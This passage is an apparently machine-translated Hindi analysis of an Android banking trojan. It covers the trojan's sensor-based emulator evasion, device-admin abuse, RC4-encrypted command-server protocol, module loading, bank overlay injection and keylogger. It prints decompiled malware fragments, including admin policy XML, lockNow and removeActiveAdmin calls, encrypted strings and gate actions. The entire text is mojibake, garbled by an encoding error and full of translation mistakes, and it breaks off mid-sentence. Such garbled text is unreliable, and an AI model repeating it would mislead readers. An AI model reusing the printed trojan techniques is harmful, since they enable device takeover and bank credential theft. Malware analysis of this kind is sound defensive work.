- рдбрд┐рд╡рд╛рдЗрд╕ рдХреА рднреМрддрд┐рдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рд╕рдВрдЧреНрд░рд╣ (Service_fa)
- рд╕рд░реНрд╡рд░ рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реЗрд╡рд╛ (Service_server)
- рдПрдХ рд╕реЗрд╡рд╛ рдЬреЛ рдорд╛рд▓рд╡рд░реА рдХреЗ рдХреБрдЫ рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЕрдВрддрд╣реАрди рдЪрдХреНрд░ рдореЗрдВ рдЪрд▓рддреА рд╣реИ (Service_event_loop)
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, Service_fa рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕рдХреНрд░рд┐рдп рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рд╣реА (рдпрджрд┐ рдлреЛрди рдХрд╛ рдорд╛рд▓рд┐рдХ рдЪрд▓ рд░рд╣рд╛ рд╣реИ рдФрд░ рдлреЛрди рд╣рд┐рд▓ рд░рд╣рд╛ рд╣реИ), Service_server рдФрд░ Service_event_loop рд▓реЙрдиреНрдЪ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рд╡реЗ malvari рдХреА рдореБрдЦреНрдп рдкреНрд░рдХреНрд░рд┐рдпрд╛ рд╣реИрдВ, рдЗрд╕ рддрд░рд╣ рд╕реЗ malvari emulators рдФрд░ рд░рд┐рд╕реАрд╡рд░, av рдФрд░ рдЕрдиреНрдп рдХреЗ рдЙрдкрдХрд░рдгреЛрдВ рд╕реЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рдХреЛ рдмрд╛рд╣рд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
рд░рд┐рд╕реАрд╡рд░ рдиреЗ рдПрдХ рдбреЛрдЬрд╝ рдореЛрдб рдбрд┐рд╕реНрдХрдиреЗрдХреНрдЯ рдЕрдиреБрд░реЛрдз рдФрд░ рдПрдХ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреБрд╖реНрдЯрд┐рдХрд░рдг рдЕрдиреБрд░реЛрдз рднреА рд▓реЙрдиреНрдЪ рдХрд┐рдпрд╛ред
рдЪреВрдВрдХрд┐ рдореИрд▓рд╡реЗрдпрд░ рдореЗрдВ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рдбрд┐рд╡рд╛рдЗрд╕ рд╕реЗ рд╣рдЯрд╛рдпрд╛ рдирд╣реАрдВ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рддрдХ рдХрд┐ рдЕрдзрд┐рдХрд╛рд░ рд╣рдЯрд╛ рдирд╣реАрдВ рджрд┐рдП рдЬрд╛рддреЗред
рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░
рдЖрдЗрдП рдЙрди рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдкрд░ рдЧреМрд░ рдХрд░реЗрдВ, рдЬрд┐рдирдХреЗ рд▓рд┐рдП рд╣рдореЗрдВ рдПрдбрдорд┐рди рдбрд┐рд╡рд╛рдЗрд╕ рдХрд╛ рдзрдиреНрдпрд╡рд╛рдж рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред
<?xml version="1.0" encoding="utf-8"?> <device-admin xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent"> <uses-policies> <force-lock/> <wipe-data/> </uses-policies> </device-admin>
рдмрд▓-рд▓реЙрдХ рддрддреНрд╡ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЗ рд╕реНрдХреНрд░реАрди рд▓реЙрдХ рдХреЛ рд▓реЙрдХ рдХрд░рдиреЗ рдФрд░ рдбреЗрдЯрд╛, CACHE рдФрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд╕рднреА рдореЗрдореЛрд░реА (рдЗрд╕рдХреЗ рдкреВрд░реНрдг рд░реАрд╕реЗрдЯ) рдХреЛ рд╣рдЯрд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдкреЛрдВрдЫрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИред
Service_fa
рдЗрд╕рдХреЗ рд╕рд╛рде рд╣рдо рд░рд┐рд╕реАрд╡рд░ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдФрд░ рдЕрдиреНрдп рд╕реЗрд╡рд╛рдУрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗред рдПрдХ рд╕реЗрд╡рд╛ рдЬреЛ рд╕реЗрдВрд╕рд░ рд╕реЗрдВрд╕рд░ рд╕реЗ рдбреЗрдЯрд╛ рд▓реЗрддреА рд╣реИ SensorManager рд╡рд░реНрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ, рдпрд╣ рд╕реЗрд╡рд╛ рдХреЗрд╡рд▓ рдЧрддрд┐рд╡рд┐рдзрд┐ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреА рд╣реИ рдФрд░ рдЗрд╕реЗ XML рдлрд╝рд╛рдЗрд▓ рдореЗрдВ рд╕рд╣реЗрдЬрддреА рд╣реИред
рдЗрд╕рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рдЦрд▓рдирд╛рдпрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рдЗрддрд┐рд╣рд╛рд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдВрдЧреЗ рдФрд░ рдПрдореБрд▓реЗрдЯрд░ рдФрд░ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЖрд▓рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдлрд╝рд┐рд▓реНрдЯрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕рдХрд╛ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХрд░реЗрдВрдЧреЗред
Service_server
рдЗрд╕ рд╕реНрдЯреНрд░реАрдо рдХреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд╕рд╛рде рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рдерд╛, рдбреЗрдЯрд╛ рдХреЛ RC4 рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд░реВрдк рдореЗрдВ рд╕рд░реНрд╡рд░ рдкрд░ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд╕рд╛рде рдмреЗрд╕ 64 рдореЗрдВ рд╕рдм рдХреБрдЫ рдПрдиреНрдХреЛрдбрд┐рдВрдЧ рд╣реИред
рдЬрдм рд╕реЗрд╡рд╛ рд╢реБрд░реВ рд╣реЛрддреА рд╣реИ, рддреЛ рд╕рд░реНрд╡рд░ рд╕реЗ рдкрд╣рд▓рд╛ рдЕрдиреБрд░реЛрдз рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:
{ "id":"qoietjeoisfhjdfhk", "idSettings":"", "number":"+79999999999", "statAdmin":"1", "statProtect":"0", "statScreen":"1", "statAccessibilty":"0", "statSMS":"1", "statCards":"0", "statBanks":"0", "statMails":"0", "activeDevice":"53", "timeWorking":"342", "statDownloadModule":"0", "batteryLevel":"78", "locale":"fr" }
рдореИрдВрдиреЗ рд╕рд░реНрд╡рд░ рдХреЛ рдмреЗрддрд░рддреАрдм рдврдВрдЧ рд╕реЗ рднреЗрдЬреЗ рдЧрдП рдбреЗрдЯрд╛ рдореЗрдВ рднрд░ рджрд┐рдпрд╛, рдорд╛рдкрджрдВрдбреЛрдВ рдХреЗ рдирд╛рдо рд╕реЗ рдореБрдЭреЗ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рд╕рдм рдХреБрдЫ рд╕реНрдкрд╖реНрдЯ рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, рд╣рдо рдЙрдирдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдкрд░ рд░реЛрдХ рдирд╣реАрдВ рд▓рдЧрд╛рдПрдВрдЧреЗред
рдЕрдм рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдВ рдХреНрдпрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ, рдореИрд▓рд╡реЗрдпрд░ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рд╡рд╣ рдЦрд╛рд▓реА рдЙрддреНрддрд░ рджреЗрддрд╛ рд╣реИ, рдпрджрд┐ рдРрд╕рд╛ рд╣реИ, рддреЛ рд╡рд╣ рд╕рд░реНрд╡рд░ рдбреЛрдореЗрди рдХреЗ рд╕рд░рдгреА рдХреЛ рд▓реВрдк рдореЗрдВ рдЫрд╛рдВрдЯрдиреЗ рд▓рдЧрддрд╛ рд╣реИ рдФрд░ рдкреНрд░рддреНрдпреЗрдХ рдбреЛрдореЗрди рдХреЛ рдпрд╣ рдЕрдиреБрд░реЛрдз рднреЗрдЬ рд░рд╣рд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рдЙрддреНрддрд░ рдореЗрдВ рдкрдВрдХреНрддрд┐ = "~ I ~" рд╣реИ, рддреЛ рдореИрд▓рд╡реЗрдпрд░ рдЗрд╕ рдбреЛрдореЗрди рдкрд░ рд░реБрдХ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдЗрд╕рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░рдирд╛ рд╢реБрд░реВ рдХрд░ рджреЗрддрд╛ рд╣реИред
рд╣рдордиреЗ рддрдп рдХрд┐рдпрд╛ рд╣реИ рдХрд┐ рд╣рдо рдХрд┐рд╕ рдбреЛрдореЗрди рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдЕрдм рд╣рдо рдмрд╛рдХреА рдЙрддреНрддрд░реЛрдВ рдХреЛ рджреЗрдЦ рд░рд╣реЗ рд╣реИрдВред
рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ == "|| youNeedMoreResources ||" рдлрд┐рд░ рддреБрд░рдВрдд рд╕рд░реНрд╡рд░ рд╕реЗ рдПрдХ рдЕрддрд┐рд░рд┐рдХреНрдд рдорд╛рд▓рд╡рд░реА рдореЙрдбреНрдпреВрд▓ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:
Gate_url? action = getModule & data = {"idbot": "qoietjeoisfhjdfhk"}рдЖрдЧреЗ рдмрдврд╝реЛ, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ == "|| рдирд╣реАрдВ ||"
рдлрд╛рдЯрдХ_рдЙрд░реНрд▓ рднреЗрдЬрддрд╛ рд╣реИ? рдХреНрд░рд┐рдпрд╛ = рдкрдВрдЬреАрдХрд░рдг рдФрд░ рдбреЗрдЯрд╛ = рд╕рд░реНрд╡рд░ рдХреЗ рд▓рд┐рдП
JSON рдЕрдиреБрд░реЛрдз:
{ "id":"qoietjeoisfhjdfhk", "android": Build.VERSION.RELEASE, "tag":"tag", "country":"fr", "operator":"Megafon", "model":"Samsung Galaxy S9" }
рдпрд╣ рдЕрдиреБрд░реЛрдз рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдкреИрдирд▓ рдореЗрдВ рдПрдХ рдирдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрдВрдЬреАрдХреГрдд рдХрд░рдиреЗ рдХрд╛ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдпрд╣ рд╕рд░реНрд╡рд░ рдЕрдиреБрд░реЛрдз рдХрд╛ рдЕрдВрдд рд╣реИред
рд▓реЗрдХрд┐рди рдиреАрдЪреЗ рдПрдХ рд╢рд░реНрдд рд╣реИ рдЬреЛ "system.apk" рдлрд╝рд╛рдЗрд▓ рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪ рдХрд░рддрд╛ рд╣реИред
рдЕрдиреБрдорд╛рдирд┐рдд рдХреЛрдб:
if(new File(getDir(this.f301a.f215dd, 0), this.f301a.f115bj).exists()){}
рд╕рд░рд▓реАрдХреГрдд рдХреЛрдб:
if (new File(getDir("apk", Context.MODE_PRIVATE), "system.apk").exists()) {}
рдпрджрд┐ рдлрд╝рд╛рдЗрд▓ рдореМрдЬреВрдж рд╣реИ, рддреЛ JSON рдлреЙрд░реНрдо рдореЗрдВ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ:
{ "params":"updateSettingsAndCommands", "response":"data" }
рд╕рд░реНрд╡рд░ рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдкрд╛рд░рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдлрд┐рд░ json рдХреЛ рдЙрд╕ рд╡рд┐рдзрд┐ рд╕реЗ рдкрд╛рд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ system.apk рдореЙрдбреНрдпреВрд▓ рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИ рдФрд░ рдЗрд╕реЗ DexClassLoader рд╡рд░реНрдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред
Service_event_loop
рдпрд╣ рд╕реЗрд╡рд╛ рд▓реВрдк рдореЗрдВ рдХрд╛рдо рдХрд░рддреА рд╣реИ рдФрд░ рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдорд╛рдВрдб рдХрд╛ рдЗрдВрддрдЬрд╛рд░ рдХрд░рддреА рд╣реИред рдбрд┐рд╡рд╛рдЗрд╕ рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реВрдк рдореЗрдВ рдЕрд╡рд░реБрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
DevicePolicyManager deviceManager = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE); deviceManager.lockNow();
рдпрд╣ рд╕реЗрд╡рд╛ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдЕрдХреНрд╖рдо рдХрд░ рд╕рдХрддреА рд╣реИ, рдЬрд╛рд╣рд┐рд░ рддреМрд░ рдкрд░ рдорд╛рд▓рд╡рд░реА рдХреЗ рд▓реЗрдЦрдХ рдиреЗ рдорд╛рд▓реНрд╡рд╛рд░реА рдХреЗ "рдЖрддреНрдо-рд╡рд┐рдирд╛рд╢" рдХреЗ рд▓рд┐рдП рдРрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛, рддрд╛рдХрд┐ рдкреАрдбрд╝рд┐рддреЛрдВ рдХреЗ рдлреЛрди рдкрд░ рдирд┐рд╢рд╛рди рди рдЫреЛрдбрд╝реЗред
ComponentName componentName = new ComponentName(this, DeviceAdmin.class); DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); devicePolicyManager.removeActiveAdmin(componentName);
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдЪрдХреНрд░ рдореЗрдВ 2 рдСрдкрд░реЗрдЯрд┐рдВрдЧ рдЧрддрд┐, 1 рд╕реЗрдХрдВрдб рдФрд░ 8 рд╕реЗрдХрдВрдб рд╣реИрдВ, рдпрджрд┐ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕рд░реНрд╡рд┐рд╕ рдЕрдХреНрд╖рдо рд╣реИ, рддреЛ рдпрд╣ 1 рд╕реЗрдХрдВрдб рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдЗрд╕ рд╕реЗрд╡рд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддрд╛ рд╣реИ, рдмрд╕ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдЦреЛрд▓рдиреЗ рдФрд░ рдЖрдкрдХреЛ рд╡рд┐рд╢реЗрд╖ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдордЬрдмреВрд░ рдХрд░рддрд╛ рд╣реИ, рд╡реНрдпрд╡рд╣рд╛рд░ рдореЗрдВ рд╣рдо рдЗрд╕ рдкрд░ рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВрдЧреЗред
рдЪрдХреНрд░ рдХреЗ рдЕрдВрдд рдореЗрдВ, Service_server рдХреА рддрд░рд╣ рдПрдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рднреА рд╣реЛрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдПрдХ рд╡рд┐рдзрд┐ рдХреЛ рдХрдорд╛рдВрдб рднреЗрдЬ рд░рд╣рд╛ рд╣реИ рдЬреЛ рд▓реЛрдб рдХрд┐рдП рдЧрдП рдореЙрдбреНрдпреВрд▓ "system.apk" рдХреЗ рдЕрдВрджрд░ рд╣реИ, рд▓реЗрдХрд┐рди рдкреИрд░рд╛рдореАрдЯрд░ рдмрд╣реБрдд рдЕрд▓рдЧ рдирд╣реАрдВ рд╣реИрдВ, JSON рджреЗрдЦреЗрдВ:
{ "params":"serviceWorkingWhile", "tick":"100", "idbot":"qoietjeoisfhjdfhk", "accessibility":"1" }
рдЯрд┐рдХ - рд╕реЗрдХрдВрдб рдХрд┐ рд╕реЗрд╡рд╛ рдЪрдХреНрд░ рдорд╛рдпрдиреЗ рд░рдЦрддрд╛ рд╣реИ, рдкрд╣реБрдВрдЪ - рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдПрдХреНрд╕реЗрд╕реЗрдмрд┐рд▓рд┐рдЯреА рд╕рд░реНрд╡рд┐рд╕ рд╕рдХреНрд╖рдо рд╣реИред
рдХрдХреНрд╖рд╛ рд╕реНрдЯреНрд░рд┐рдВрдЧ
рд╡рд░реНрдЧ рдХреЗ рдЕрдВрджрд░ рд╕рднреА рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ RC4 рдПрд▓реНрдЧреЛрд░рд┐рдереНрдо рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ base64 рдореЗрдВ рдЗрдирдХреЛрдб рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред
рдПрдХ рдЙрджрд╛рд╣рд░рдг:
рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рд╕реНрдЯреНрд░рд┐рдВрдЧ: yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw
рдЬрд╣рд╛рдВ straka рдХреЗ рдкрд╣рд▓реЗ 12 рдЕрдХреНрд╖рд░ RC4 рдПрд▓реНрдЧреЛрд░рд┐рдердо рдХреА рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреБрдВрдЬреА рд╣реИ
рдХреАрдЬрд╝: yyshybiwijuj
рд╕рд┐рдлрд░рдЯреЗрдХреНрд╕реНрдЯ: YzdkZDdkMjRlYjJmYjU5Y2Qw
рдпрд╣рд╛рдБ рдХрдХреНрд╖рд╛ рдХреЛрдб рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рд╣реИ
public final String f0A = mo1a("yyshybiwijujYzdkZDdkMjRlYjJmYjU5Y2Qw"); public final String f1B = mo1a("dfpzkejthefgZDA1NTUyNmJiYWU4M2ViMjhjMGJmNTYx"); public final String f2C = mo1a("ewpskxnrtsvaMTBkOWRmZDAxZTZjNjkxZjhiYzYyOA=="); public final String f3D = mo1a("ugqxhrpujzmaYTgwZjQ0NjBhN2Y1YmM1MDhjZjdkZWEwYzljZGIxOWY4NDEy"); public final String f4E = mo1a("xlzrjjolkozwZTRjOGY5OTZjMTExMTgwYTE0ZGQ="); public final String f5F = mo1a("wtxndsosbhnaYzZjNzhhYzA2MDMyMTBkOA=="); public final String f6G = mo1a("nmibahlxjjsxM2IzNjY4NGUyZDIzYmYwZGVi"); public final String f7H = mo1a("vvgipgmxvxloN2NmZDdlNTkyNjRhYWVlMzkzZGIzMGFiYTUzM2E5"); public final String f8I = mo1a("zuqkhqhqsrvgMDczYWRkZmYyOTE5NmVmMzk2Yzc=");
рдореИрдВрдиреЗ рдЗрди рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЛ рдЙрдирдХреЗ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рдореЗрдВ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдкрдЯрдХрдерд╛ рд▓рд┐рдЦреА, рдЗрд╕рд╕реЗ рдореБрдЭреЗ рдереЛрдбрд╝рд╛ рд╕рдордп рдмреАрддрдиреЗ рдореЗрдВ рдорджрдж рдорд┐рд▓реАред
public final String str_statMails = "statMails"; public final String str_activeDevice = "activeDevice"; public final String str_timeWorking = "timeWorking"; public final String str_statDownloadModule = "statDownloadModule"; public final String str_lockDevice = "lockDevice"; public final String str_offSound = "offSound"; public final String str_keylogger = "keylogger"; public final String str_activeInjection = "activeInjection"; public final String str_timeInject = "timeInject";
рд╣рдо рдпрд╣ рднреА рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЗрд╕ рд╡рд░реНрдЧ рдореЗрдВ рдХреНрдпрд╛ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ:
public final String str_url = "https://twitter.com/LukasStefanko"; public final String str_Accessibility = "Flash Player Service"; public final String str_gate1 = "action=registration&data="; public final String str_gate2 = "action=sendInjectLogs&data="; public final String str_gate3 = "action=sendSmsLogs&data="; public final String str_gate4 = "action=timeInject&data="; public final String str_gate5 = "action=sendKeylogger&data="; public final String str_gate6 = "action=getModule&data="; public final String str_gate7 = "action=checkap&data="; public final String str_country = "[ua][ru][by][tj][uz][tm][az][am][kz][kg][md]";
Lukas Stefanko рдХрд╛ рдЯреНрд╡рд┐рдЯрд░ рдЕрдХрд╛рдЙрдВрдЯ (@LukasStefanko) рд╕рд░реНрд╡рд░ URL рдкрд░ рд╕реВрдЪреАрдмрджреНрдз рд╣реИ, рдЬрд╛рд╣рд┐рд░ рд╣реИ рдХрд┐ рд▓реЗрдЦрдХ рд▓реБрдХрд╛рд╕ рд╕реЗ рдХреБрдЫ рдХрд╣рдирд╛ рдпрд╛ рдХрд╣рдирд╛ рдЪрд╛рд╣рддрд╛ рдерд╛ (рдпрд╣ NOD32 рдХрд╛ рдПрдХ рд╡рд┐рд╢реНрд▓реЗрд╖рдХ рд╣реИ), рдПрдХреНрд╕реЗрд╕рд░реА рд╕рд░реНрд╡рд┐рд╕ + рдирд╛рдо рднреА рдпрд╣рд╛рдБ рдкреНрд░рдХрдЯ Android: рд▓реЗрдмрд▓ = "рдлрд╝реНрд▓реИрд╢ рдкреНрд▓реЗрдпрд░" рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реИ рд╕реЗрд╡рд╛ тАЭ, рдФрд░ рдЙрди рджреЗрд╢реЛрдВ рдХреА рд╕реВрдЪреА рдЬрд┐рдирдХреЗ рд▓рд┐рдП рдореИрд▓рд╡реЗрдпрд░ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред
рдмрд╛рдХреА
рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдХрд╛рдо рдХрд╛ рд╡рд░реНрдгрди рдХрд░реЗрдВред рдпрд╣ рдмрд╕ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрджрд┐ рдПрдХреНрд╕реЗрд╕рд┐рдмрд┐рд▓рд┐рдЯреА рд╕реЗрд╡рд╛ рд╕рдХреНрд╖рдо рд╣реИ, рддреЛ рдпрд╣ рд╕реЗрд╡рд╛ рдХреЗрд╡рд▓ рдмреИрдВрдХрд┐рдВрдЧ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреА рдШрдЯрдирд╛ рдХреЛ рдкрдХрдбрд╝рддреА рд╣реИ рдФрд░ рдмреИрдВрдХ рдХреА рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рдЕрдкрдиреА рдЧрддрд┐рд╡рд┐рдзрд┐ рд▓реЙрдиреНрдЪ рдХрд░рддреА рд╣реИ, рдЬрд╣рд╛рдВ рдЗрд╕рдХреЗ рдкрд╛рд╕ рдПрдХ WebView рдСрдмреНрдЬреЗрдХреНрдЯ рд╣реИ рдЬреЛ рдмреИрдВрдХ рдХреЗ HTML-рдирдХрд▓реА рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рдХреЗ рдмрд╛рдж рдпрд╣ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЗрдЯрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИ рдФрд░ рдбреЗрдЯрд╛ рднреЗрдЬрддрд╛ рд╣реИред рдорд╛рд▓рд╡рд░реА рд╕рд░реНрд╡рд░ред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдЗрд╕ рд╕реЗрд╡рд╛ рдХреЛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ Keylogger, рдореИрд▓рд╡реЗрдпрд░ рдХреЛ рд╣рдЯрд╛рдиреЗ рдФрд░ рдкреБрд╖реНрдЯрд┐рдХрд░рдгреЛрдВ рдкрд░ рд╕реНрд╡рддрдГ-рдХреНрд▓рд┐рдХ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдПред Com.miui.securitycenter рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдореЗрдВ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рдбрд┐рд╕реНрдХрдиреЗрдХреНрдЯ рдЗрдВрдЯрд░реИрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдпрд╛ рдЧрдпрд╛ рдерд╛ред рдЗрд╕ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ "рд╕реБрд░рдХреНрд╖рд╛" рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ Xiaomi рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рдХрд╛ рдореБрдЦреНрдп рдХрд╛рд░реНрдп рдЖрдкрдХреЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдХреА рд╕реБрд░рдХреНрд╖рд╛ рдХреА 